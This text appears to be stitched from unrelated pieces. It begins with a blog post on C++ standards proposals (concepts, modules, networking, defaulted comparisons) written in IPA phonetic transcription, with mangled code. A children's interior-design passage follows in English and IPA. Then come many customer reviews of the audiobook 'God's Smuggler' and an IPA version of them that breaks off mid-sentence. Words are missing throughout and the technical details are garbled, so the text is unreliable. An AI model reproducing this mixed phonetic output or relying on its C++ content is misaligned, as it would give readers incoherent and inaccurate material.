ˈkɛrɪktər ˈoʊnli hæv 4 ɪz ðə ˈmɪsɪŋ wən, wɪʧ ðɪs ˈpeɪpər siks tɪ fɪks, ˈædɪŋ ɛz ən ɛnˈkoʊdɪŋ ˈprifɪks fər ˈkɛrɪktər. əˈgɛn, ðɪs ˈpeɪpər ɪz ˈmoʊstli ðə ˈʧeɪnʤɪz ɪn ˈwərdɪŋ fər ðə si++ ˈstændərd. ðɪs ɪz ə fərst dræft əv ðə ˈtɛknɪkəl ˌspɛsɪfɪˈkeɪʃən əˈbaʊt ðə ˈnidɪd ɪkˈstɛnʃənz tɪ si++ fər ˈmeɪkɪŋ ˈkɑnsɛpts ə ˌriˈæləˌti. wɪʧ wɪl nid tɪ bi ˈædɪd tɪ si++ fər ˈkɑnsɛpts ɪz ˈædɪŋ ənd dɪˈfaɪnɪŋ ðə nu ˈkiˌwərdz ˈkɑnsɛpt ənd rikˈwaɪərz. waɪl ˈtɛknɪkəl ˌspɛsəfəˈkeɪʃənz du dɪˈfaɪn wət wɪl lʊk laɪk, ðeɪ ər ˈɔlsoʊ bɪˈkəz əv ðɪs ˈneɪʧər ˈvɛri dɪˈteɪld ənd ˈɔriˌɛntɪd tɪ ðə ˈstændərdz ˈsɛkʃənz. ðɪs meɪks ðɛm nɑt ðə bɛst rɛd ɔn moʊst əv ðɛr ˈtɑpɪks ðeɪ ər traɪɪŋ tɪ ˈstændərˌdaɪz, ðə prəˈpoʊzəlz ər ˈɔfən ˈbɛtər fər ˈjumən ˈridərz. fər ˈkɑnsɛpts, aɪ θɪŋk ðə bɛst weɪ tɪ bi ˌɪnˈfɔrmd ɪz ˈwɑʧɪŋ ˈændru tɔk əˈbaʊt ðɛm frəm cppcon*. ˈmɑʤulz ðɪs ɪz ðə ˈkɑrənt steɪt əˈbaʊt ðə plænz fər ˈɪnəˌgreɪtɪŋ ˈmɑʤulz ɪn si++. ðə ˈɔθərz neɪm ðə ˈkɑrənt 4 goʊlz əv səʧ ə ˈsɪstəm: ˌaɪsəˈleɪʃən əv ˈskeɪləbəl bɪld səˈpɔrt fər ˈmɑdərn dɪˈvɛləpər tulz ðə ˈprɑbləm fər si++ ənd ˈmɑʤulz ɪz, ðət ðə frəm si ˌɪnˈhɛrətɪd bɪld ˈsɪstəm teɪks ə ˈdɪfərənt əˈproʊʧ, ˈɛvəri faɪl ɪz ɪn ðɪs ˈmɑdəl ɪts oʊn trænzˈleɪʃən ˈjunɪt, wɪʧ ɪz kəmˈpaɪld wɪˈθaʊt ðə ˈnɑlɪʤ əˈbaʊt dɪˈpɛndənsiz tɪ ˈəðər trænzˈleɪʃən ˈjunɪts, ðɪs ɪz ˈleɪtər riˈzɑlvd baɪ ðə ˈlɪŋkər. ðɪs ɪz ˈvɛri ˈifɛktɪv, bət ˈɔlsoʊ lowlevel*. ˈɔlsoʊ, ðə ˈɔθərz pɔɪnt aʊt, ðət ðɪs ˈlɪŋkɪʤ ˈmɑdəl ɪz 40 jɪrz oʊld, ənd wɪθ ˈɪnəˌgreɪtɪŋ ˈmɑʤulz ɪn si++, nidz tɪ əˈdæptɪd ər ˌriˈpleɪst. ðə ˈmɑʤul ˈsɪstəm ɪz dɪˈzaɪnd tɪ ˌkoʊəgˈzɪst wɪθ ðə, bət wɪl nɑt dɪˈpɛnd ɔn ɪt. ə ˈsɛntrəl ˈtɛnət əv ðɪs prəˈpoʊzəl ɪz ðət ə ˈmɑʤul ˈsɪstəm fər si++ həz tɪ bi ən ˌɛvəˈluʃən əv ðə kənˈvɛnʃənəl ˌkɑmpəˈleɪʃən ˈmɑdəl. ðə ˌɪˈmiˌdiət ˈkɑnsəkwəns ɪz ðət ɪt həz tɪ wɪθ ðə ɪgˈzɪstɪŋ sɔrs faɪl ˌɪnˈkluʒən ˈmɑdəl waɪl ˈsɑlvɪŋ ðə sɪgˈnɪfɪkənt ˈprɑbləmz ənd ˈmɪnəˌmaɪzɪŋ ðoʊz ðət bi kəmˈplitli sɑlvd. ə ʃɔrt ˈoʊvərvˌju ɔn ðə plænd ˈfiʧərz fər ˈmɑʤulz: ˈmɑʤul ənd ˌɪmˈpɔrt ər nu ˈkiˌwərdz ˌɪmˈpɔrt ɪz ə rɪˈpleɪsmənt fər ˌɪnˈklud, ðə neɪmd ˈmɑdəl ðɛn gɪts ˌɪmˈpɔrtɪd ˈɪntu ðɪs trænzˈleɪʃən ˈjunɪt ˈmɑʤul module-name*; dɪˈklɛrz ə nu ˈmɑʤul, ə ˈmɑʤul həz noʊ skoʊp fər ˈskoʊpɪŋ ɪgˈzɪst. ju kən ˈoʊnli dɪˈklɛr wən ˈmɑʤul pər trænzˈleɪʃən ˈjunɪt ə ˈmɑʤul həz tɪ juz ˈɛkspɔrt fər ɪts ˈɛntri pɔɪnts, wɪʧ fɔrm ðə ˈmɑʤulz ˈɪnərˌfeɪs ˈɛkspɔrt ˈkænɑt gɪt ˌɪmˈpɔrtɪd ər ɪkˈspɔrtəd ðɪs wʊd bi ˈrɪli kul tɪ hæv ɪn ənd ðə ˈkɑrənt prəˈpoʊzəl kʊd ˈrɪli ʃoʊ ə weɪ haʊ ə ˈmɑʤul ˈsɪstəm fər si++ kʊd lʊk laɪk. jɛt ɪt wɪl bi ˈvɛri ˈɪntəˌrɛstɪŋ tɪ si haʊ ðɪs prəˈpoʊzəl ɪˈvɑlvz ɪn ðə ˈkəmɪŋ jɪr. ˈnɛtˌwərkɪŋ ˈlaɪbrɛˌri ðɪs prəˈpoʊzəl siks tɪ æd ə ˈlaɪbrɛˌri dəraɪvd frəm bust tɪ ðə si++ ˈstændərd. nu ɪn ðɪs riˈvɪʒən ɪz ðət ðə koʊd həz bɪn ˈəpˌdeɪtɪd tɪ baɪ rɪkˈwɛst əv ðə ˈlaɪbrɛˌri ˌɛvəˈluʃən ˈwərkɪŋ grup. ðə ˈɔθərz rɪˈfər tɪ ɛz ðə bɛst ˌɪntrəˈdəkʃən, bət ˈɔlsoʊ ˌɪnˈklud ən ˈɛkoʊ ˈsərvər ɛz ən ɪgˈzæmpəl haʊ ə ˈstændərd ˈvərʒən wʊd lʊk laɪk. ðə ˈlaɪbrɛˌri həz ə ənd ən ˈeɪˈsɪŋkrənəs pɑrt, wɪʧ wərks wɪθ ˈhændələrz, ɪn ðə ɪgˈzæmpəlz ðoʊz ər lambdas*. ðə goʊl əv ðɪs prəˈpoʊzəl ɪz tɪ æd səˈpɔrt fər ənd ˈsɑkəts, ˌɪnˈkludɪŋ səˈpɔrt fər klaɪənt ənd ˈsərvər ˌæpləˈkeɪʃənz tɪ ˈhændəl ˈmɛni kənˈkərənt kəˈnɛkʃənz ˈproʊtəˌkɔl ˌɪndɪˈpɛndəns bɪtˈwin ənd neɪm ˌrɛzəˈluʃən ˈtaɪmərz tɪ ðə si++ ˈstændərd, aʊt əv skoʊp əv ðɪs ˈdɑkjəmɛnt ər: ˈproʊtəˌkɔlz səʧ ɛz http*, ftp*, smtp*, bət ˈɔlsoʊ ɛnˈkrɪpʃən (ssl/tls*) ɑs spɪˈsɪfɪk rɪˈflɛkʃən səm ˌæpləˈkeɪʃənz ər dɪˈzaɪnd tɪ ˈnɛvər rɪˈtərn, soʊ ˈɔlsoʊ meɪn ɪz nɑt rɪˈtərnɪŋ wɪn ðeɪ ər ˈprɑpərli rən. tɪ prɪˈvɛnt ðə kɔl tɪ ˈrɛʤɪstərd wɪθ atexit*, ðə ˈɔθərz prəˈpoʊz tɪ æd ən optional[[noreturn*]] əˈtrɪˌbjut tɪ meɪn. ðɛn kən meɪk juz əv ðɪs hɪnt ənd ˈɪmpləmənt beɪst ɔn ðɪs. ðə ˈɔθərz ˈɔlsoʊ brɪŋ ˈɪntu dɪˈskəʃən ɪf fər ðɪs nɑt nu ˈvərʒənz əv meɪn ʃʊd bi ˈædɪd tɪ ðə ˈstændərd: vɔɪd meɪn() wɪˈθaʊt ənd wɪθ ˈɑrgjəmənts. ɪt həz bɪn prəˈpoʊzd tɪ æd dɪˈfɔltɪd kəmˈpɛrəsən ˈɔpərˌeɪtərz tɪ si++ baɪ ɪkˈstɛndɪŋ ðə kɔr ˈlæŋgwɪʤ, ðɪs ˈpeɪpər prəˈpoʊzɪz ə ˈdɪfərənt səˈluʃən, tɪ ˈɪmpləmənt dɪˈfɔltɪd kəmˈpɛrəsən ˈɔpərˌeɪtərz ˈjuzɪŋ rɪˈflɛkʃən treɪts, wɪʧ ər prəˈpoʊzd ɪn ðə ˈɔθərz prəˈpoʊz ə taɪp treɪt generate_comparison<t*>, wɪʧ dɪˈfɔlts tɪ tru, soʊ ðət ðə kəmˈpɛrəsən ˈɔpərˌeɪtərz gɪt ˈʤɛnərˌeɪtɪd, soʊ ðət ju nid tɪ ˈspɛʃəˌlaɪz ɪt tɪ fɔls tɪ səˈprɛs ˌʤɛnərˈeɪʃən. ðə ˈɔθərz ˈɔlsoʊ dɪˈskəs ðə ˈɑpəzɪt, ðət ðə dɪˈfɔlt ɪz fɔls, ənd ðət jʊd hæv tɪ ˈspɛʃəˌlaɪz tɪ tru ər dəraɪv frəm with_default_comparisons*. ðə kəmˈpɛrəsən ˈɑpərˌeɪtər ɪz ˈɪmpləˌmɛnəd wɪθ ə ˈtɛmplət wɪʧ ɪˈnumərˌeɪts ðə ˈmɛmbərz əv ə klæs ˈɪntu ə ˈfəŋkʃən fər kəmˈpɛrəsən: si> ˈɔtoʊ si& si) ɛn std::class_member::list_size_v<c*>; rɪˈtərn default_tie_impl(c*, std::make_index_sequence<n*>()); ðɪs ˌɪmpləmɛnˈteɪʃən ˈjuzɪz ðə rɪˈflɛkʃən treɪts frəm ˌəndɪˈfaɪnd bɪˈheɪvjər ðɛr ər səm ˈɪʃuz wɪθ ðə ˈkɑrənt ˌspɛsɪfɪˈkeɪʃən əv (ucn*), wɪʧ ðɪs ˈpeɪpər traɪz tɪ ˈæˌdrɛs. wər ˌɪntrəˈdust tɪ si ənd si++ tɪ əˈlaʊ ˌɪnərˌnæʃənɑlɪˈzeɪʃən wɪˈθaʊt dɪˈpɛndɪŋ ɔn sɔrs tɛkst ɛnˈkoʊdɪŋ. ðə tu meɪn goʊlz əv ðɪs ˈpeɪpər ər: tɪ ˈlɪmət ər ˈfʊli riˈmuv ˌəndɪˈfaɪnd bɪˈheɪvjər frəm ðə ˌspɛsɪfɪˈkeɪʃən tɪ ˈhændəl ˈkɔrnər ˈkeɪsɪz, wɪʧ ər jɛt nɑt dɪˈfaɪnd ɛz ˌəndɪˈfaɪnd bɪˈheɪvjər ðɪs ˈpeɪpər dilz wɪθ ənd ˌəndɪˈfaɪnd bɪˈheɪvjər. ɪt ˈɔlsoʊ ˈəpˌdeɪts ðə ˌspɛsɪfɪˈkeɪʃən fər ðə tɪ dil wɪθ ˈlɛksɪkəl ɪkˈstɛnʃənz raw-strings*, ˈjuzər dɪˈfaɪnd ənd nu ɛnˈkoʊdɪŋ prefixes*). ɪt eɪmz æt riˈmuvɪŋ ˌəndɪˈfaɪnd bɪˈheɪvjər ˈfərðər frəm ðə ənd ˈædɪŋ ˈmɪsɪŋ ˌspɛsəfəˈkeɪʃənz. ʤɔɪn ðə ˈmitɪŋ si++ kəmˈjunɪti! ðɪs ənd ˈəðər poʊsts ɔn ˈmitɪŋ si++ ər ɪˈneɪbəld baɪ maɪ səˈpɔrtərz ɔn! |
the use of matte finishes on structural surfaces and objects makes the whole space feel soft and welcoming, despite the cold and in contrast to the vast sea of grey skyscrapers that stretches beyond the windows. as a way to excite the curiosity and help them cultivate their creativity, special features have been added all around the house, including little niches that serve as hide-outs, a “painting” in the lobby which can be dismantled and recreated in limitless combinations, and of course a blackboard wall for drawing. in the room, the closets were given a playful configuration to further excite the young ones' imagination, designed in such a way so that it can be adapted later on to suit the children's taste as they grow older. | ðə juz əv mæt ˈfɪnɪʃɪz ɔn ˈstrəkʧərəl ˈsərfəsɪz ənd ˈɑbʤɛkts meɪks ðə hoʊl speɪs fil sɔft ənd ˈwɛlkəmɪŋ, dɪˈspaɪt ðə koʊld ənd ɪn ˈkɑntræst tɪ ðə væst si əv greɪ ˈskaɪˌskreɪpərz ðət ˈstrɛʧɪz bɪɔnd ðə ˈwɪndoʊz. ɛz ə weɪ tɪ ɪkˈsaɪt ðə ˌkjʊriˈɑsəti ənd hɛlp ðɛm ˈkəltəˌveɪt ðɛr ˌkrieɪˈtɪvəti, ˈspɛʃəl ˈfiʧərz hæv bɪn ˈædɪd ɔl əraʊnd ðə haʊs, ˌɪnˈkludɪŋ ˈlɪtəl ˈnɪʧɪz ðət sərv ɛz hide-outs*, ə ““painting”*” ɪn ðə ˈlɑbi wɪʧ kən bi dɪsˈmænəld ənd ˈrɛkriˌeɪtɪd ɪn ˈlɪmətləs ˌkɑmbəˈneɪʃənz, ənd əv kɔrs ə ˈblækˌbɔrd wɔl fər drɔɪŋ. ɪn ðə rum, ðə ˈklɑzəts wər ˈgɪvɪn ə ˈpleɪfəl kənˌfɪgjərˈeɪʃən tɪ ˈfərðər ɪkˈsaɪt ðə jəŋ wənz' ˌɪˌmæʤəˈneɪʃən, dɪˈzaɪnd ɪn səʧ ə weɪ soʊ ðət ɪt kən bi əˈdæptɪd ˈleɪtər ɔn tɪ sut ðə ˈʧɪldrənz teɪst ɛz ðeɪ groʊ ˈoʊldər. |
customer reviews
the well-written, well-read, and inspiring story of brother andrew. overall
a classic book well read. overall
living by all. overall
awesome book of how god led brave men and woman behind the "iron curtain" to do his will overall
i enjoyed this biography very much. the narrator was excellent and had been engaged the entire time. brother andrew's story is one of faithfulness. his faithfulness to what god had called him to do and god's faithfulness to provide for him all along the way. your faith will be encouraged after listening to this! overall
i didn't want it to end. wow. what a great testimony of the work god does through his children. this man's obedience and faith is something i strive for. overall
a great example of revelation "and all who hear say come." overall
excellent and exciting story to listen to. this story inspired me to share the gospel more. overall
the voice of the narrator is very good, and the story was already excellent. we have listened to this over and over with my teenagers and even younger kids. overall
great reminder of god's faithfulness to his promises. matthew "but seek ye first the kingdom of god, and his righteousness; and all these things shall be added unto you. take therefore no thought for the morrow: for the morrow shall take thought for the things of itself. sufficient unto the day is the evil thereof." the lord's ways work! this is something the current day "church" at large has forgotten. overall
very encouraging and challenging! overall
wonderful book and challenging! a must read for any christian. overall
renews faith in god who answers prayer. overall
exceptional overall
i cannot believe that i was not required to read this in an undergraduate or graduate level bible course. it was captivating and motivating. i was skeptical before i purchased it. i had heard a bit about it, but now i am going to make sure my sons who are going into ministry listen to it overall
loved this book! overall
well written, believable, applicable, and powerful. few dry spots. overall
thanks to those who put this together so that i could benefit from the work god is doing through the faithful. it was a great book to listen to! overall
this is an excellent recording of a well written book chronicling the story god has written in the life of brother andrew. andrew's inability and god's ability are shown over and over in the stories of taking love, encouragement, and bibles to places where they were not allowed. the ending challenge to look toward those behind the "curtain" of islam is convicting. overall
brother andrew talks about his stories of smuggling bibles into communist nations in the and 60s. it is a story of dares, adventures, and most of all, god's miraculous providence as he would minister behind the iron curtain. as he would cross the borders in his car, guards would either miraculously ignore his car that was loaded with bibles, or sometimes they would stare at the bibles right in front of them and then inexplicably let him pass. that's just a teaser, read the book if possible. overall
great audio presentation of this book, love it! overall
these old stories are so good. encouraging! overall
amazing grace!!!!!!! overall
compelling and exhorting story. well read. a must "listen to." overall
this was excellent! several times it had me laughing out loud at both god's and brother andrew's audacity! i especially enjoyed the epilogue, which i hadn't read before (i first read the book about ten years ago). overall
our family has absolutely loved this audio book. the reading is clear and pleasant to listen to, as well as a well written, true and captivating story. god's testimony really of god working through his holy spirit in encouraging those in his family isolated from the rest of the world by their governments. nothing can stop god, he is faithful and all of our faith is strengthened in listening to this beautiful story. highly recommended for almost all ages, my 7 old even got something out , when he listened :-) overall
i loved listening, it teaches alot about having faith in god for every day things. overall
i read this book the first time at about age 13, which was in 1968! i remember how it impacted my faith. i decided to listen to it recently, and am so glad i did!
i hope many receive the faith boost that i did!
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this book has been an inspiration, encouragement and it challenged us with the power of prayer, trust & sacrifice. overall
i remember reading this book when i was in third grade, and it was a spy thriller to me. now, as i listen to it again, i see it in such a larger, richer context. what a wonderful, beautiful example brother andrew is to me and to us. i thank god for him and the inspiration this book gives me for my life today. overall
enjoyed, great book. overall
this book is an absolute must read for all christians. as a family, we love this. brother andrew is a hero of the faith, and his stories are so amazing and compelling.
it inspires your faith to realize that god uses real people in such extraordinary ways. i have had the blessing of hearing brother andrew speak in person and he is truly an amazing man of god. do yourself a favor and buy this! overall
this was written several years ago, but is still a great testimony of god's grace and this brother & his wife's faithfulness. it is inspiring even after reading this so many years ago and having served on the mission field.
brother andrew and his team were true pioneers and people of faith.
this is well worth a listen or read! overall
the most and challenging biography l have heard to date. the dramatization is captivating. overall
the first book i've read about brother andrew was "god's call', which as the book jokingly describes as god's smuggler 2. i enjoyed that book so when i saw this on christianaudio, i immediately grabbed it.
i just finished listening to it and i'm blown away by brother andrew's story. somehow i could relate to him having being a atheist to a christian. it's amazing how god works in people's lives.
the narrator for this is amazing. it's easy to fall into the story with how he narrates it.
this is an amazing book and how the is read is perfect. i'm sure i'll be listening to this again and again. and buy the kindle version. :) overall
hott synopsis
defiant. belligerent. reckless.
all of those words describe andrew. from the time he was a child he pushed the lines. he did exactly what he knew he shouldn’t.
did christ change him? not really. he pushed the lines for the rest of his life but he did it way.
don’t miss this life changing!
hott review
i’m not big ons. i love but no so muchs. yet, from the time the first words were spoken i was enthralled. i listened to this several times before i felt like i was finished. there was so very much. not only was it an absolutely awesome story but there was so much to learn and feel almost indescribable.
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author: brother andrew, john sherrill, elizabeth sherrill, simon vance (narrator)
source: i purchased this for my hubby and after listening to less than 10 minutes of it needed it for myself, as well. luckily, it was free audio for february 2013 & i need to buy another copy!
grade: a+
ages: there are some scenes that may not be appropriate for all ages. overall
this is an incredible story of great faith and awesome grace... if only i had the strength of brother andrew! overall
short review: this is a classic century missionary story. i first read the comic version of the book in the late as a child. i am not sure if i have read the full thing before or not. this is worth reading but i read it in tension with the god of the mundane because i also agree with the concept of that book that most of our lives as christians deal with the day to day and not the miraculous. the difficulty is holding up not normal examples of christian faith like this, while trying to value the every day faith of the majority of christians that will be never known. i did appreciate the focus of this book on trying to serve christians in more difficult situations than what most of us in the west have to deal with.
this review also appears at http://bookwi.se/gods-smuggler/ overall
what a great example of the power of jesus christ to transform life! this is a captivating story, well written and well narrated. overall
loved to hear about god's faithfulness in brother andrew's life! overall
very well done. i was fascinated by the story and didn't want to take breaks from listening! i recommend this book, especially to those seeking to trust god more. overall
i thoroughly enjoyed this book. it is a fascinating and compelling story from beginning to end, and i highly recommend it. the devotion and tenacity of purpose displayed by "god's smuggler" are amazing and inspiring. overall
a very moving account of an extraordinary life well lived. overall
so good, so inspiring! time just flies by whilst listening to this book! overall
read it years ago, what faith this man had in god, how he was provided for is such an inspiration overall
this book is really uplifting! i read it years ago, but my family & i enjoyed listening to it and being reminded of god's mercy & faithfulness & provision. overall
i thoroughly enjoyed this biography and would recommend it. the only issue i had was, toward the end (epilogue) where brother andrew's activities among the orthodox and catholics was highlighted.
i disagree that protestants and catholics can work together in the work of the gospel as they come from fundamentally different views as to the path that leads to salvation.
but in all other respects - fascinating and insightful (especially as my family and i are missionaries). overall
great book. enjoyed the updates at the end. overall
this book is wonderful. an amazing story of god's grace calling a sinner unto himself. it is an inspiring story! overall
this book is very interesting and inspiring. overall
i loved god's smuggler and was inspired by the way god protected and enabled this man to serve the body of christ in bible deprived areas of the world. overall
inspiring true story of god at work in every day people, who are amazing behind the iron curtain in the and overall
amazing testimony. easy writing style & a very good reader. overall
very good. entertaining and informative. overall
wow! - can't say much more than that. this book really demonstrates what god can do for those who are faithful. overall
this book had me hooked from the beginning. it was amazing how god "closed" the eyes of so many to protect people in this ministry.
brother andrew believed god for big things & god showed himself in awesome ways. overall
a must read for every christian. overall
what a great story of god's word going forth. it made me really search my own heart and challenged my faith. overall
brother andrew's story reads like a story that belongs in the bible. he was the most unlikely person to become a christian but god in his mercy never abandoned him. as radical as he was as a sinner he was just as radical and passionate as a saint. his story inspires us to obey god's voice, believe god for miracles, to have passion for the lost, and encouragement for the saints. i cannot begin to tell you how much my whole family loves this book. we're going through it again with the help of this. overall
real faith
real service
real people
real christianity
real god overall
the church i belong to in dusseldorf - (christ church anglican.de) supports the work of open doors international, this link in mission prompted me to listen to (and recommend) brother andrew's story - god's smuggler.
i had known something of brother andrew and his work behind the iron curtain, but no real details. i love this book for the way his story is told giving depth to why we should support the work of open doors international.
thank you. overall
great story of a man who has been transformed by god and how god uses an ordinary man to do great work in his ministry. giving all of us hope. overall
a great example of listening to god and doing what he wants, no matter what the risk nor the cost. overall
i could not stop listening to this book! the reader was pleasant to listen to and easy to understand. the story could bring you to tears or great joy. i felt like i was part of the story and found myself thanking god for people like this! thank you for placing this book on the free monthly download. my god bless you. overall
this is an awesome story of god's unfailing provision. i've not completed it yet and already i've been praying for the faith of brother andrew! this book will inspire and encourage you to trust god and know that he is faithful. overall
thanks to christianaudio, i had the chance to listen to this for free. though i enjoyed the fictions which were distributed with no charge, it was a great pleasure to hear a real story, real acts of god. i constantly gasped when brother andrew was in trouble, and was astonished how god worked in a 'king's way'.
i think this book shows a good example of how someone could walk in step with the spirit :) overall
god's smuggler by brother andrew and john & elizabeth sherrill was narrated by
simon vance who did an excellent job of reading the book.
as a young boy, brother andrew had daydreams of becoming a spy and working undercover behind enemy lines. when he grew up and became a christian, he became an undercover agent for god by delivering bibles to communist countries. brother andrew found himself in many situations where he seriously wondered if he would end up in prison or worse, but every time god came through in a miraculous way. there were several times when his car was searched from bumper to bumper yet the guards did not seem to notice the bibles in plain view on the seat beside brother andrew. at one time he was talking with a russian guard and commented that the russians seemed to know all about him. the guard told him that god's smuggler was required reading for the russian police. i learned so much listening to this book and one of the things that really stuck in my mind was the fact that in bulgaria there are churches that do not have even one bible. at least this was true when the book was written in the sixties. brother andrew was so successful because he trusted god, prayed to god for help, and believed that god was with him and would answer his prayer.
i would recommend this book to every christian, possibly even consider it required reading. even might enjoy reading the book.
i received this free from reviewers program in exchange for posting a review. overall
what an inspiring and challenging story. after listening to this book i am to draw close to god so that i will know where and how he wants me to serve. i highly recommend it. overall
"page turner," "couldn't put it down," "exciting," "well worth the money," "100% satisfaction guaranteed" etc. etc. this book lives up to all those cliches! it was absolutely fantastic and my family didn't want it to end. from the story itself to the narrator it was wonderful. we listened to this on our vacation as we were traveling. it even kept our 8 year old's attention! this book was faith building! god' use me like "andy":)) overall
i thoroughly enjoyed listening to the smuggler audio book, written by brother andrew and john and elizabeth sherrill. the kind of book you put down, or stop listening to if you have the audio version. this is a true story about a young dutch man named, andrew who enlists in the military and finds it is not the adventure he originally thought it would be. he spent endless hours drinking, partying, and living with the guilt of killing people in war. god saved him and he began a real adventure of smuggling bibles into communist countries.
i was inspired by life and mission to spread word in some of the most difficult and dangerous places. i was awed by how many times he was able to get across the border with a van full of bibles, undetected. there were even times that his car was searched from trunk, to motor, to glove compartment, and officers did not see the bibles that were in plain sight. this was truly a testimony of miraculous power and ability to do above what we ask for or think. i learned that my faith needs to be stronger. andrew defied odds so many times because he trusted god, prayed and believed that god was with him. he was able to get into china when everyone told him it was impossible. nothing is impossible with god! andrew's heart for evangelism is truly inspirational and made me examine my own commitment to sharing the gospel. i was also convicted by self sacrifice. he and his wife were willing to sell their house so that they would have enough money to print bibles. i tell you what happened, but god blessed their willingness to give up everything. the narrator of this audio book did a good job. at first i found it difficult to understand his english accent, but once i adjusted i thought he did a wonderful job. i recommend this book to everyone.
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overall | ˈkəstəmər rəvˈjuz ðə well-written*, well-read*, ənd ˌɪnˈspaɪərɪŋ ˈstɔri əv ˈbrəðər ˈændru. ˈoʊvərˌɔl ə ˈklæsɪk bʊk wɛl rɛd. ˈoʊvərˌɔl ˈlɪvɪŋ baɪ ɔl. ˈoʊvərˌɔl ˈɔsəm bʊk əv haʊ gɑd lɛd breɪv mɛn ənd ˈwʊmən bɪˈhaɪnd ðə "aɪərn ˈkərtən" tɪ du hɪz wɪl ˈoʊvərˌɔl aɪ ˌɛnˈʤɔɪd ðɪs baɪˈɑgrəfi ˈvɛri məʧ. ðə ˈnɛreɪtər wɑz ˈɛksələnt ənd hæd bɪn ɪnˈgeɪʤd ðə ɪnˈtaɪər taɪm. ˈbrəðər ˈænˌdruz ˈstɔri ɪz wən əv ˈfeɪθfəlˌnɛs. hɪz ˈfeɪθfəlˌnɛs tɪ wət gɑd hæd kɔld ɪm tɪ du ənd gɑdz ˈfeɪθfəlˌnɛs tɪ prəˈvaɪd fər ɪm ɔl əˈlɔŋ ðə weɪ. jʊr feɪθ wɪl bi ɪnˈkərəʤd ˈæftər ˈlɪsənɪŋ tɪ ðɪs! ˈoʊvərˌɔl aɪ ˈdɪdənt wɔnt ɪt tɪ ɛnd. waʊ. wət ə greɪt ˈtɛstɪˌmoʊni əv ðə wərk gɑd dɪz θru hɪz ˈʧɪldrən. ðɪs mænz oʊˈbidiəns ənd feɪθ ɪz ˈsəmθɪŋ aɪ straɪv fər. ˈoʊvərˌɔl ə greɪt ɪgˈzæmpəl əv ˌrɛvəˈleɪʃən "ənd ɔl hu hir seɪ kəm." ˈoʊvərˌɔl ˈɛksələnt ənd ɪkˈsaɪtɪŋ ˈstɔri tɪ ˈlɪsən tɪ. ðɪs ˈstɔri ˌɪnˈspaɪərd mi tɪ ʃɛr ðə ˈgɔspəl mɔr. ˈoʊvərˌɔl ðə vɔɪs əv ðə ˈnɛreɪtər ɪz ˈvɛri gʊd, ənd ðə ˈstɔri wɑz ɔˈrɛdi ˈɛksələnt. wi hæv ˈlɪsənd tɪ ðɪs ˈoʊvər ənd ˈoʊvər wɪθ maɪ ˈtiˌneɪʤərz ənd ˈivɪn ˈjəŋgər kɪdz. ˈoʊvərˌɔl greɪt riˈmaɪndər əv gɑdz ˈfeɪθfəlˌnɛs tɪ hɪz ˈprɑməsəz. ˈmæθju "bət sik jɛ fərst ðə ˈkɪŋdəm əv gɑd, ənd hɪz ˈraɪʧəsnəs; ənd ɔl ðiz θɪŋz ʃæl bi ˈædɪd ˈəntu ju. teɪk ˈðɛrˌfɔr noʊ θɔt fər ðə ˈmɔroʊ: fər ðə ˈmɔroʊ ʃæl teɪk θɔt fər ðə θɪŋz əv ˌɪtˈsɛlf. səˈfɪʃənt ˈəntu ðə deɪ ɪz ðə ˈivəl ˌðɛˈrəv." ðə lɔrdz weɪz wərk! ðɪs ɪz ˈsəmθɪŋ ðə ˈkɑrənt deɪ "ʧərʧ" æt lɑrʤ həz fərˈgɑtən. ˈoʊvərˌɔl ˈvɛri ɪnˈkərəʤɪŋ ənd ˈʧælənʤɪŋ! ˈoʊvərˌɔl ˈwəndərfəl bʊk ənd ˈʧælənʤɪŋ! ə məst rɛd fər ˈɛni ˈkrɪsʧɪn. ˈoʊvərˌɔl rɪˈnuz feɪθ ɪn gɑd hu ˈænsərz prɛr. ˈoʊvərˌɔl ɪkˈsɛpʃənəl ˈoʊvərˌɔl aɪ ˈkænɑt bɪˈliv ðət aɪ wɑz nɑt rikˈwaɪərd tɪ rɛd ðɪs ɪn ən ˌəndərˈgræʤəwət ər ˈgræʤəˌweɪt ˈlɛvəl ˈbaɪbəl kɔrs. ɪt wɑz ˈkæptɪˌveɪtɪŋ ənd ˈmoʊtəˌveɪtɪŋ. aɪ wɑz ˈskɛptɪkəl ˌbiˈfɔr aɪ ˈpərʧəst ɪt. aɪ hæd hərd ə bɪt əˈbaʊt ɪt, bət naʊ aɪ æm goʊɪŋ tɪ meɪk ʃʊr maɪ sənz hu ər goʊɪŋ ˈɪntu ˈmɪnɪstri ˈlɪsən tɪ ɪt ˈoʊvərˌɔl ləvd ðɪs bʊk! ˈoʊvərˌɔl wɛl ˈrɪtən, bəˈlivəbəl, ˈæpləkəbəl, ənd ˈpaʊərfəl. fju draɪ spɑts. ˈoʊvərˌɔl θæŋks tɪ ðoʊz hu pʊt ðɪs təˈgɛðər soʊ ðət aɪ kʊd ˈbɛnəfɪt frəm ðə wərk gɑd ɪz duɪŋ θru ðə ˈfeɪθfəl. ɪt wɑz ə greɪt bʊk tɪ ˈlɪsən tɪ! ˈoʊvərˌɔl ðɪs ɪz ən ˈɛksələnt rɪˈkɔrdɪŋ əv ə wɛl ˈrɪtən bʊk ˈkrɑnɪklɪŋ ðə ˈstɔri gɑd həz ˈrɪtən ɪn ðə laɪf əv ˈbrəðər ˈændru. ˈænˌdruz ˌɪnəˈbɪlɪti ənd gɑdz əˈbɪləˌti ər ʃoʊn ˈoʊvər ənd ˈoʊvər ɪn ðə ˈstɔriz əv ˈteɪkɪŋ ləv, ɛnˈkərɪʤmənt, ənd ˈbaɪbəlz tɪ ˈpleɪsɪz wɛr ðeɪ wər nɑt əˈlaʊd. ðə ˈɛndɪŋ ˈʧælənʤ tɪ lʊk təˈwɔrd ðoʊz bɪˈhaɪnd ðə "ˈkərtən" əv ˌɪsˈlɑm ɪz kənˈvɪktɪŋ. ˈoʊvərˌɔl ˈbrəðər ˈændru tɔks əˈbaʊt hɪz ˈstɔriz əv sˈməgəlɪŋ ˈbaɪbəlz ˈɪntu ˈkɑmjənəst ˈneɪʃənz ɪn ðə ənd 60s*. ɪt ɪz ə ˈstɔri əv dɛrz, ædˈvɛnʧərz, ənd moʊst əv ɔl, gɑdz mərˈækjələs ˈprɑvədəns ɛz hi wʊd ˈmɪnɪstər bɪˈhaɪnd ðə aɪərn ˈkərtən. ɛz hi wʊd krɔs ðə ˈbɔrdərz ɪn hɪz kɑr, gɑrdz wʊd ˈiðər mərˈækjələsli ˌɪgˈnɔr hɪz kɑr ðət wɑz ˈloʊdɪd wɪθ ˈbaɪbəlz, ər ˈsəmˌtaɪmz ðeɪ wʊd stɛr æt ðə ˈbaɪbəlz raɪt 